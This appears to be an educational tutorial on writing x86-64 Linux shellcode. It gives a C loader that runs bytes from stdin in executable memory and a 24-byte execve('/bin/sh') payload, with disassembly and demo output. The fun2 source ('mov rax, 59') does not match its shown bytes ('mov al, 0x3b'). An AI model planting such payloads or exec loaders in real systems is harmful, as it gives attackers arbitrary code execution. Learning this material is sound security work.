How to Write Simple Shellcode

1 How to Write Simple Shellcode
Goal:
- Write a program in
assembler
that launches a shell. - Write a program in
C
that reads theshellcode
from the input stream and executes it.
2 Program to Execute Shellcode
Using mmap
, we allocate an executable memory region for the code:
void *exec_mem = mmap(NULL, code_size,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec_mem == MAP_FAILED) {
perror("mmap");
return 1;
}
We cast the memory pointer to a function pointer and call it.
At the moment of the function call, control is passed to the shellcode.
int (*func)() = (int (*)())exec_mem;
func();
Nothing complicated here. The key part is understanding mmap and its arguments.
Full code:
#include <stdint.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
void print_hex_dump(const uint8_t *data, size_t size) {
printf("Code dump (%zu bytes):\n", size);
for (size_t i = 0; i < size; i++) {
printf("%02x ", data[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");
}
int main() {
const size_t code_size = 1024;
void *exec_mem = mmap(NULL, code_size,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec_mem == MAP_FAILED) {
perror("mmap");
return 1;
}
printf("Input shellcode (max %zu bytes):\n", code_size);
ssize_t bytes_read = read(STDIN_FILENO, exec_mem, code_size);
if (bytes_read <= 0) {
perror("read failed");
munmap(exec_mem, code_size);
return 1;
}
print_hex_dump(exec_mem, bytes_read);
int (*func)() = (int (*)())exec_mem;
func();
munmap(exec_mem, code_size);
return 0;
}
3 Writing the Assembler Program
First, we’ll write a basic program that simply prints the string hello to the screen.
The goal is to ensure the shellcode:
- runs.
- performs its logic—in this case, printing a string.
- returns control to the calling program.
- does not break the program.
The program consists of:
- prologue.
- pushing data onto the stack.
- making the write syscall.
- setting return code to zero.
- epilogue.
Code:
section .text
fun1:
push rbp
mov rbp, rsp
pop rbp
mov rax, 0x00000a6f6c6c6568 ; 'hello'
push rax
mov rax, 1 ; sys_write
mov rdi, 1 ; stdout
mov rsi, rsp ; buf
mov rdx, 6 ; count
syscall
mov rax, 0
mov rsp, rbp
pop rbp
ret
4 Running the Assembler Program
Build it:
nasm -f elf64 -o shellcode.o shellcode.asm
gcc -Wall -Wextra ./main.c -o app
Let’s inspect the compiled assembler code:
root@47f7f8988dc6:/shellcode# objdump -d shellcode.o | tail -n +8
0: 55 push %rbp
1: 48 89 e5 mov %rsp,%rbp
4: 5d pop %rbp
5: 48 b8 68 65 6c 6c 6f movabs $0xa6f6c6c6568,%rax
c: 0a 00 00
f: 50 push %rax
10: b8 01 00 00 00 mov $0x1,%eax
15: bf 01 00 00 00 mov $0x1,%edi
1a: 48 89 e6 mov %rsp,%rsi
1d: ba 06 00 00 00 mov $0x6,%edx
22: 0f 05 syscall
24: b8 00 00 00 00 mov $0x0,%eax
29: 48 89 ec mov %rbp,%rsp
2c: 5d pop %rbp
2d: c3 ret
We only need the disassembled machine code as a byte sequence.
To minimize manual steps, we’ll use the xxd
utility to convert objdump
output to a byte array.
Let’s verify all bytes are present and there’s no extra data:
root@47f7f8988dc6:/shellcode# objdump -d shellcode.o --no-addresses --disassemble=fun1 | tail -n +8 | xxd -p -r | xxd
00000000: 5548 89e5 5d48 b868 656c 6c6f 0a00 0050 UH..]H.hello...P
00000010: b801 0000 00bf 0100 0000 4889 e6ba 0600 ..........H.....
00000020: 0000 0f05 b800 0000 0048 89ec 5dc3 .........H..].
Run the application and pass the shellcode to stdin:
root@47f7f8988dc6:/shellcode# (objdump -d shellcode.o --no-addresses --disassemble=fun1 | tail -n +8 | xxd -p -r) | ./app
Input shellcode (max 1024 bytes):
Code dump (46 bytes):
55 48 89 e5 5d 48 b8 68 65 6c 6c 6f 0a 00 00 50
b8 01 00 00 00 bf 01 00 00 00 48 89 e6 ba 06 00
00 00 0f 05 b8 00 00 00 00 48 89 ec 5d c3
hello
We see hello printed to the screen, so everything is working correctly.
In case of errors in the assembly code, you’ll usually get a Segmentation fault.
5 Shellcode
Now we want to launch a shell from assembly code.
We’ll use the execve syscall.
We must provide the full path to the shell, e.g., /bin/sh.
As before, we’ll place the string on the stack.
We’ll omit the prologue, epilogue, and return code setup since they’re not needed.
Resulting code:
section .text
fun2:
mov rdi, 0x0068732f6e69622f ; '/bin/sh'
push rdi
mov rax, 59 ; sys_execve
mov rdi, rsp ; filename
xor rsi, rsi ; argv
xor rdx, rdx ; envp
syscall
Verify it compiles:
root@47f7f8988dc6:/shellcode# objdump -d shellcode.o --no-addresses --disassemble=fun2 | tail -n +8
48 bf 2f 62 69 6e 2f movabs $0x68732f6e69622f,%rdi
73 68 00
57 push %rdi
b0 3b mov $0x3b,%al
48 89 e7 mov %rsp,%rdi
48 31 f6 xor %rsi,%rsi
48 31 d2 xor %rdx,%rdx
0f 05 syscall
Verify the machine instructions:
root@47f7f8988dc6:/shellcode# objdump -d shellcode.o --no-addresses --disassemble=fun2 | tail -n +8 | xxd -p -r | xxd
00000000: 48bf 2f62 696e 2f73 6800 57b0 3b48 89e7 H./bin/sh.W.;H..
00000010: 4831 f648 31d2 0f05 H1.H1...
Check if the shell launches.
Run tty; ps -p $$
to ensure a new shell
session starts:
root@47f7f8988dc6:/shellcode# tty; ps -p $$
/dev/pts/0
PID TTY TIME CMD
1 pts/0 00:00:02 bash
root@47f7f8988dc6:/shellcode# (objdump -d shellcode.o --no-addresses --disassemble=fun2 | tail -n +8 | xxd -p -r; sleep 1; echo 'ps -p $$'; sleep 1) | ./app
Input shellcode (max 1024 bytes):
Code dump (24 bytes):
48 bf 2f 62 69 6e 2f 73 68 00 57 b0 3b 48 89 e7
48 31 f6 48 31 d2 0f 05
not a tty
PID TTY TIME CMD
10729 pts/0 00:00:00 sh
Great! The shellcode works as intended.
It’s very compact—only 24 bytes. The code can be easily tweaked depending on the environment.